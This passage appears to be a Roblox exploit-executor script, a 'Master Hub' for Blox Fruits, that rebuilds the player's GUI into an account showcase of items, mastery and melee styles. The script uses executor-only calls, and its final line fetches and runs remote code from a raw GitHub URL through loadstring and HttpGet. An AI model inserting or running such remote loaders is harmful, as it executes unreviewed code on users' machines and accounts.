local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(AJXXA\_fake\_script)()

local cac = require(game:GetService("Players").LocalPlayer.PlayerGui.Main.UIController.Inventory)

local Inventory = game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("getInventory")

local Items = {}

local RaityLevel = {"Mythical","Legendary","Rare","Uncommon",}

local RaityColor = {

["Uncommon"] = Color3.fromRGB(92, 140, 211),

["Rare"] = Color3.fromRGB(140, 82, 255),

["Legendary"] = Color3.fromRGB(213, 43, 228) ,

["Mythical"] = Color3.fromRGB(238, 47, 50)

}

function GetRaity(color)

for k,v in pairs(RaityColor) do

if v==color then return k end

end

end

for k,v in pairs(Inventory) do

Items[v.Name] = v

end

local total = #getupvalue(cac.UpdateRender,4)

local rac = {}

local allitem = {}

local total2 = 0

while total2<total do

local i = 0

while i < 25000 and total2<total do

game:GetService("Players").LocalPlayer.PlayerGui.Main.InventoryContainer.Right.Content.ScrollingFrame.CanvasPosition = Vector2.new(0,i)

for k,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Main.InventoryContainer.Right.Content.ScrollingFrame.Frame:GetChildren()) do

if v:IsA("Frame") and not rac[v.ItemName.Text] and v.ItemName.Visible==true then

local vaihuhu = GetRaity(v.Background.BackgroundColor3)

if vaihuhu then

print("Rac")

if not allitem[vaihuhu] then

allitem[vaihuhu] = {}

end

table.insert(allitem[vaihuhu],v:Clone())

end

total2=total2+1

rac[v.ItemName.Text] = true

end

end

i=i+20

end

wait()

end

function GetXY(vec)

return vec\*100

end

local tvk = Instance.new("UIListLayout")

tvk.FillDirection = Enum.FillDirection.Vertical

tvk.SortOrder = 2

tvk.Padding = UDim.new(0,20)

local Left = Instance.new("Frame",game.Players.LocalPlayer.PlayerGui.BubbleChat)

Left.BackgroundTransparency = 1

Left.Size = UDim2.new(.5,0,1,0) --HÀNG

tvk.Parent = Left

local Right = Instance.new("Frame",game.Players.LocalPlayer.PlayerGui.BubbleChat)

Right.BackgroundTransparency = 1

Right.Size = UDim2.new(.5,0,1,0) -- HÀNG FRUIT

Right.Position = UDim2.new(.62,0,0,0)

Right.Name = "Right"

tvk:Clone().Parent = Right

local bucac

for k,v in pairs(allitem) do

local cac = Instance.new("Frame",Left)

cac.BackgroundTransparency = 1

cac.Size = UDim2.new(.62,0,0,0)

cac.LayoutOrder = table.find(RaityLevel,k)

local cac2 = Instance.new("Frame",Right)

cac2.BackgroundTransparency = 1

cac2.Size = UDim2.new(0.6,0,0,0)

cac2.LayoutOrder = table.find(RaityLevel,k)

local tvk = Instance.new("UIGridLayout",cac)

tvk.CellPadding = UDim2.new(.005,0,.0) -- KHOẢNG CÁCH NGANG

tvk.CellSize = UDim2.new(0,56,0,56) -- to nhỏ

tvk.FillDirectionMaxCells = 100

tvk.FillDirection = Enum.FillDirection.Horizontal

local ccc = tvk:Clone()

ccc.Parent = cac2

for k,v in pairs(v) do

if Items[v.ItemName.Text] and Items[v.ItemName.Text].Mastery then

if v.ItemLine2.Text~="Accessory" then

bucac = v.ItemName:Clone()

bucac.BackgroundTransparency = 1

bucac.TextSize = 10

bucac.TextXAlignment = 2

bucac.TextYAlignment = 2

bucac.ZIndex = 5

bucac.Text = Items[v.ItemName.Text].Mastery

bucac.Size = UDim2.new(.35,0,.35,0)

bucac.Position = UDim2.new(.5,0,.5,0)

bucac.Parent = v

end

v.Parent = cac

elseif v.ItemLine2.Text == "Blox Fruit" then

v.Parent = cac2

end

end

cac.AutomaticSize = 3.5

cac2.AutomaticSize = 3.5

end

local MeleeG = Instance.new("Frame",Right)

MeleeG.BackgroundTransparency = 1

MeleeG.Size = UDim2.new(1,0,0,0)

MeleeG.LayoutOrder = table.find(RaityLevel,k)

MeleeG.AutomaticSize=2

MeleeG.LayoutOrder = 100

local tvk = Instance.new("UIGridLayout",MeleeG)

tvk.CellPadding = UDim2.new(.005,0,.005,0)

tvk.CellSize = UDim2.new(0,70,0,70)

tvk.FillDirectionMaxCells = 100

tvk.FillDirection = Enum.FillDirection.Horizontal

local ListHuhu = {

["Superhuman"] = Vector2.new(3,2),

["DeathStep"] = Vector2.new(4,3),

["ElectricClaw"] = Vector2.new(2,0),

["SharkmanKarate"] = Vector2.new(0,0),

["DragonTalon"] = Vector2.new(1,5),

["Godhuman"] = "rbxassetid://10338473987"

}

local nguu = {}

function GetNext() end

local Listcaiditconmemayskidconcaca = {}

local buda

for k,v in pairs(ListHuhu) do

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buy"..k,true) == 1 then

local huhu = Instance.new("ImageLabel",MeleeG)

if type(v)=="string" then

huhu.Image = v

else

huhu.Image = "rbxassetid://9945562382"

huhu.ImageRectSize = Vector2.new(100,100)

huhu.ImageRectOffset = v\*100

end

Listcaiditconmemayskidconcaca[k] = huhu

table.insert(nguu,k)

end

end

buda = 1

function TimKiemItemNehuhu(item)

for k,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.Name:gsub(" ","") == item then

return v

end

end

end

spawn(function()

local a = #nguu

local bucu = 0

while bucu < a do

for k,v in pairs(Listcaiditconmemayskidconcaca) do

if not v:FindFirstChild("Ditme") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buy"..k)

wait(.1)

local v2 = TimKiemItemNehuhu(k)

if v2 then

v2:WaitForChild("Level")

local Ditme = bucac:Clone()

Ditme.Name = "Ditme"

Ditme.BackgroundTransparency = 1

Ditme.TextSize = 10

Ditme.TextXAlignment = 2

Ditme.TextYAlignment = 2

Ditme.ZIndex = 5

Ditme.Text = v2.Level.Value

Ditme.Size = UDim2.new(.5,0,.5,0)

Ditme.Position = UDim2.new(.5,0,.5,0)

Ditme.Parent = v

bucu=bucu+1

end

end

end

wait()

end

end)

game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.Visible = true

repeat wait() until game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.TopContainer.Frame:FindFirstChild("Z")

local rac = game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler:Clone()

rac.LayoutOrder = 101

game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.Visible = false

rac.Parent = Right

rac.Size = UDim2.new(1,0,0.3,0)

function formatNumber(v)

return tostring(v):reverse():gsub("%d%d%d", "%1,"):reverse():gsub("^,", "")

end

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.HP.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Main.HP:Destroy()

end)

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy:Destroy()

end)

for k,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Main:GetChildren()) do

if v:IsA("ImageButton") then

v.Visible = false

end

end

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Compass:Destroy()

end)

local thieunang = game:GetService("Players").LocalPlayer.PlayerGui.Main.Fragments:Clone()

thieunang.Parent = game:GetService("Players").LocalPlayer.PlayerGui.BubbleChat

thieunang.Position = UDim2.new(0.00999999999,6,0.845,0)

local n = formatNumber(game.Players.LocalPlayer.Data.Fragments.Value)

thieunang.Text = "ƒ"..n

print("Done")

end)

Misc:Button("Show Acc ( Mobile )",function()

-- Gui to Lua

-- Version: 3.6

game:GetService("Players").LocalPlayer.PlayerGui.Notifications:Destroy()

local click = Instance.new("ScreenGui")

local TextButton = Instance.new("TextButton")

local UIStroke = Instance.new("UIStroke")

local UIGradient = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

click.Name = "click"

click.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

click.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextButton.Parent = click

TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextButton.BackgroundTransparency = 1.000

TextButton.BorderColor3 = Color3.fromRGB(255, 255, 255)

TextButton.BorderSizePixel = 0

TextButton.ClipsDescendants = true

TextButton.Position = UDim2.new(0.387922704, 0, 0.712606788, 0)

TextButton.Size = UDim2.new(0, 80, 0, 33)

TextButton.ZIndex = 3

TextButton.Font = Enum.Font.SourceSans

TextButton.LineHeight = 1.090

TextButton.Text = "Click Nếu Có Mảnh Gương"

TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)

TextButton.TextScaled = true

TextButton.TextSize = 19.000

TextButton.TextWrapped = true

UIStroke.Color = Color3.fromRGB(255, 255, 255)

UIStroke.Thickness = 0.5

UIStroke.Parent = TextButton

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 73)), ColorSequenceKeypoint.new(0.42, Color3.fromRGB(58, 255, 140)), ColorSequenceKeypoint.new(0.63, Color3.fromRGB(57, 245, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))}

UIGradient.Parent = UIStroke

UIAspectRatioConstraint.Parent = click

UIAspectRatioConstraint.AspectRatio = 1.633

-- Scripts:

local function HKXIQ\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(HKXIQ\_fake\_script)()

local function PAWPQFG\_fake\_script() -- TextButton.LocalScript

local script = Instance.new('LocalScript', TextButton)

script.Parent.MouseButton1Click:Connect(function()

-- Gui to Lua

-- Version: 3.6

-- Instances:

local ScreenGui = Instance.new("ScreenGui")

local ImageLabel = Instance.new("ImageLabel")

local UICorner = Instance.new("UICorner")

local ImageButton = Instance.new("ImageButton")

local UICorner\_2 = Instance.new("UICorner")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

ImageLabel.Parent = ScreenGui

ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ImageLabel.BackgroundTransparency = 1.000

ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)

ImageLabel.BorderSizePixel = 0

ImageLabel.Position = UDim2.new(0.345110148, 0, 0.503166199, 0)

ImageLabel.Size = UDim2.new(0.188844323, 0, 0.176107258, 0)

ImageLabel.Image = "http://www.roblox.com/asset/?id=14487530170"

ImageLabel.ScaleType = Enum.ScaleType.Fit

UICorner.CornerRadius = UDim.new(0, 15)

UICorner.Parent = ImageLabel

ImageButton.Parent = ImageLabel

ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ImageButton.BackgroundTransparency = 1.000

ImageButton.BorderColor3 = Color3.fromRGB(0, 0, 0)

ImageButton.BorderSizePixel = 0

ImageButton.Position = UDim2.new(0.564518332, 0, 0, 0)

ImageButton.Size = UDim2.new(0, 26, 0, 25)

ImageButton.Image = "rbxassetid://9545003266"

UICorner\_2.Parent = ImageButton

UIAspectRatioConstraint.Parent = ScreenGui

UIAspectRatioConstraint.AspectRatio = 1.633

-- Scripts:

local function FEURO\_fake\_script() -- ImageButton.LocalScript

local script = Instance.new('LocalScript', ImageButton)

script.Parent.MouseButton1Click:Connect(function()

script.Parent.Parent.Parent:Destroy()

end)

end

coroutine.wrap(FEURO\_fake\_script)()

local function TVNJLBF\_fake\_script() -- ImageLabel.LocalScript

local script = Instance.new('LocalScript', ImageLabel)

local UIS = game:GetService('UserInputService')

local frame = script.Parent

local dragToggle = nil

local dragSpeed = 0.25

local dragStart = nil

local startPos = nil

local function updateInput(input)

local delta = input.Position - dragStart

local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,

startPos.Y.Scale, startPos.Y.Offset + delta.Y)

game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()

end

frame.InputBegan:Connect(function(input)

if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then

dragToggle = true

dragStart = input.Position

startPos = frame.Position

input.Changed:Connect(function()

if input.UserInputState == Enum.UserInputState.End then

dragToggle = false

end

end)

end

end)

UIS.InputChanged:Connect(function(input)

if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then

if dragToggle then

updateInput(input)

end

end

end)

end

coroutine.wrap(TVNJLBF\_fake\_script)()

wait(1)

script.Parent:Destroy()

end)

end

coroutine.wrap(PAWPQFG\_fake\_script)()

game:GetService("Players").LocalPlayer.PlayerGui.Main.SafeZone:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.MenuButton:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.HP:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Black:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Bar:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Exp:Destroy()

local ScreenGui = Instance.new("ScreenGui")

local TextLabel = Instance.new("TextLabel")

local UICorner = Instance.new("UICorner")

local UIStroke = Instance.new("UIStroke")

local UIGradient = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextLabel.Parent = ScreenGui

TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.BackgroundTransparency = 1.000

TextLabel.Position = UDim2.new(0.787, 0,-0.03, 0)

TextLabel.Size = UDim2.new(0.258796811, 0, 0.0200803205, 0)

TextLabel.Font = Enum.Font.SourceSans

TextLabel.Text = "Master Hub"

TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.TextSize = 29.000

TextLabel.TextTransparency = 0.030

TextLabel.TextWrapped = true

UICorner.Parent = TextLabel

UIStroke.Color = Color3.fromRGB(255, 255, 255)

UIStroke.Parent = TextLabel

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(135, 255, 145)), ColorSequenceKeypoint.new(0.18, Color3.fromRGB(255, 247, 130)), ColorSequenceKeypoint.new(0.37, Color3.fromRGB(249, 158, 255)), ColorSequenceKeypoint.new(0.58, Color3.fromRGB(120, 210, 204)), ColorSequenceKeypoint.new(0.87, Color3.fromRGB(243, 98, 93)), ColorSequenceKeypoint.new(0.97, Color3.fromRGB(85, 255, 0)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))}

UIGradient.Parent = UIStroke

UIAspectRatioConstraint.Parent = TextLabel

UIAspectRatioConstraint.AspectRatio = 22.800

-- Scripts:

local function AJXXA\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(AJXXA\_fake\_script)()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetTeam","Marines")

local cac = require(game:GetService("Players").LocalPlayer.PlayerGui.Main.UIController.Inventory)

local Inventory = game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("getInventory")

local Items = {}

local RaityLevel = {"Mythical","Legendary","Rare","Uncommon",}

local RaityColor = {

["Uncommon"] = Color3.fromRGB(92, 140, 211),

["Rare"] = Color3.fromRGB(140, 82, 255),

["Legendary"] = Color3.fromRGB(213, 43, 228) ,

["Mythical"] = Color3.fromRGB(238, 47, 50)

}

function GetRaity(color)

for k,v in pairs(RaityColor) do

if v==color then return k end

end

end

for k,v in pairs(Inventory) do

Items[v.Name] = v

end

local total = #getupvalue(cac.UpdateRender,4)

local rac = {}

local allitem = {}

local total2 = 0

while total2<total do

local i = 0

while i < 25000 and total2<total do

game:GetService("Players").LocalPlayer.PlayerGui.Main.InventoryContainer.Right.Content.ScrollingFrame.CanvasPosition = Vector2.new(0,i)

for k,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Main.InventoryContainer.Right.Content.ScrollingFrame.Frame:GetChildren()) do

if v:IsA("Frame") and not rac[v.ItemName.Text] and v.ItemName.Visible==true then

local vaihuhu = GetRaity(v.Background.BackgroundColor3)

if vaihuhu then

print("Rac")

if not allitem[vaihuhu] then

allitem[vaihuhu] = {}

end

table.insert(allitem[vaihuhu],v:Clone())

end

total2=total2+1

rac[v.ItemName.Text] = true

end

end

i=i+20

end

wait()

end

function GetXY(vec)

return vec\*100

end

local tvk = Instance.new("UIListLayout")

tvk.FillDirection = Enum.FillDirection.Vertical

tvk.SortOrder = 2

tvk.Padding = UDim.new(0,20)

local Left = Instance.new("Frame",game.Players.LocalPlayer.PlayerGui.BubbleChat)

Left.BackgroundTransparency = 1

Left.Size = UDim2.new(.55,0,1,0)

tvk.Parent = Left

local Right = Instance.new("Frame",game.Players.LocalPlayer.PlayerGui.BubbleChat)

Right.BackgroundTransparency = 1

Right.Size = UDim2.new(.5,0,1,0)

Right.Position = UDim2.new(.62,0,0,0)

Right.Name = "Right"

tvk:Clone().Parent = Right

local bucac

for k,v in pairs(allitem) do

local cac = Instance.new("Frame",Left)

cac.BackgroundTransparency = 1

cac.Size = UDim2.new(0.6,0,0,0)

cac.LayoutOrder = table.find(RaityLevel,k)

local cac2 = Instance.new("Frame",Right)

cac2.BackgroundTransparency = 1

cac2.Size = UDim2.new(0.6,0,0,0)

cac2.LayoutOrder = table.find(RaityLevel,k)

local tvk = Instance.new("UIGridLayout",cac)

tvk.CellPadding = UDim2.new(.005,0,.0,0)

tvk.CellSize = UDim2.new(0,33,0,33) -- to nhỏ

tvk.FillDirectionMaxCells = 100

tvk.FillDirection = Enum.FillDirection.Horizontal

local ccc = tvk:Clone()

ccc.Parent = cac2

for k,v in pairs(v) do

if Items[v.ItemName.Text] and Items[v.ItemName.Text].Mastery then

if v.ItemLine2.Text~="Accessory" then

bucac = v.ItemName:Clone()

bucac.BackgroundTransparency = 1

bucac.TextSize = 10

bucac.TextXAlignment = 1

bucac.TextYAlignment = 1

bucac.ZIndex = 5

bucac.Text = Items[v.ItemName.Text].Mastery

bucac.Size = UDim2.new(.30,0,.30,0)

bucac.Position = UDim2.new(.5,0,.5,0)

bucac.Parent = v

end

v.Parent = cac

elseif v.ItemLine2.Text == "Blox Fruit" then

v.Parent = cac2

end

end

cac.AutomaticSize = 3.5

cac2.AutomaticSize = 3.5

end

local MeleeG = Instance.new("Frame",Right)

MeleeG.BackgroundTransparency = 1

MeleeG.Size = UDim2.new(1,0,0,0)

MeleeG.LayoutOrder = table.find(RaityLevel,k)

MeleeG.AutomaticSize=2

MeleeG.LayoutOrder = 100

local tvk = Instance.new("UIGridLayout",MeleeG)

tvk.CellPadding = UDim2.new(.005,0,.005,0)

tvk.CellSize = UDim2.new(0,33,0,33)

tvk.FillDirectionMaxCells = 100

tvk.FillDirection = Enum.FillDirection.Horizontal

local ListHuhu = {

["Superhuman"] = Vector2.new(3,2),

["DeathStep"] = Vector2.new(4,3),

["ElectricClaw"] = Vector2.new(2,0),

["SharkmanKarate"] = Vector2.new(0,0),

["DragonTalon"] = Vector2.new(1,5),

["Godhuman"] = "rbxassetid://10338473987"

}

local nguu = {}

function GetNext() end

local Listcaiditconmemayskidconcaca = {}

local buda

for k,v in pairs(ListHuhu) do

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buy"..k,true) == 1 then

local huhu = Instance.new("ImageLabel",MeleeG)

if type(v)=="string" then

huhu.Image = v

else

huhu.Image = "rbxassetid://9945562382"

huhu.ImageRectSize = Vector2.new(100,100)

huhu.ImageRectOffset = v\*100

end

Listcaiditconmemayskidconcaca[k] = huhu

table.insert(nguu,k)

end

end

buda = 1

function TimKiemItemNehuhu(item)

for k,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v.Name:gsub(" ","") == item then

return v

end

end

end

spawn(function()

local a = #nguu

local bucu = 0

while bucu < a do

for k,v in pairs(Listcaiditconmemayskidconcaca) do

if not v:FindFirstChild("Ditme") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buy"..k)

wait(.1)

local v2 = TimKiemItemNehuhu(k)

if v2 then

v2:WaitForChild("Level")

local Ditme = bucac:Clone()

Ditme.Name = "Ditme"

Ditme.BackgroundTransparency = 1

Ditme.TextSize = 10

Ditme.TextXAlignment = 2

Ditme.TextYAlignment = 2

Ditme.ZIndex = 5

Ditme.Text = v2.Level.Value

Ditme.Size = UDim2.new(.5,0,.5,0)

Ditme.Position = UDim2.new(.5,0,.5,0)

Ditme.Parent = v

bucu=bucu+1

end

end

end

wait()

end

end)

game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.Visible = true

repeat wait() until game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.TopContainer.Frame:FindFirstChild("Z")

local rac = game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler:Clone()

rac.LayoutOrder = 101

game:GetService("Players").LocalPlayer.PlayerGui.Main.AwakeningToggler.Visible = false

rac.Parent = Right

rac.Size = UDim2.new(1,0,0.3,0)

function formatNumber(v)

return tostring(v):reverse():gsub("%d%d%d", "%1,"):reverse():gsub("^,", "")

end

local thieunang = game:GetService("Players").LocalPlayer.PlayerGui.Main.Fragments:Clone()

thieunang.Parent = game:GetService("Players").LocalPlayer.PlayerGui.BubbleChat

thieunang.Position = UDim2.new(0.00999999999,6,0.835,0)

local n = formatNumber(game.Players.LocalPlayer.Data.Fragments.Value)

thieunang.Text = "ƒ"..n

print("Done")

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.MenuButton.Visible = false

-- game:GetService("Players").LocalPlayer.PlayerGui.Main.MenuButton:Destroy()

end)

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.HP.Visible = false

--game:GetService("Players").LocalPlayer.PlayerGui.Main.HP:Destroy()

end)

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy.Visible = false

--game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy:Destroy()

end)

for k,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Main:GetChildren()) do

if v:IsA("ImageButton") then

v.Visible = false

end

end

pcall(function()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Compass:Destroy()

end)

wait(1)

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Position = UDim2.new(0, 10, 0.90299999, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.RaceEnergy.Position = UDim2.new(0, 10, 0.97299999, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.Beli.Position = UDim2.new(0.00999999999, 0, 0.765, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.Fragments:Destroy()

end)

wait(3)

loadstring(game:HttpGet('https://raw.githubusercontent.com/sadsadsafdfasf/Master/main/checkfm'))()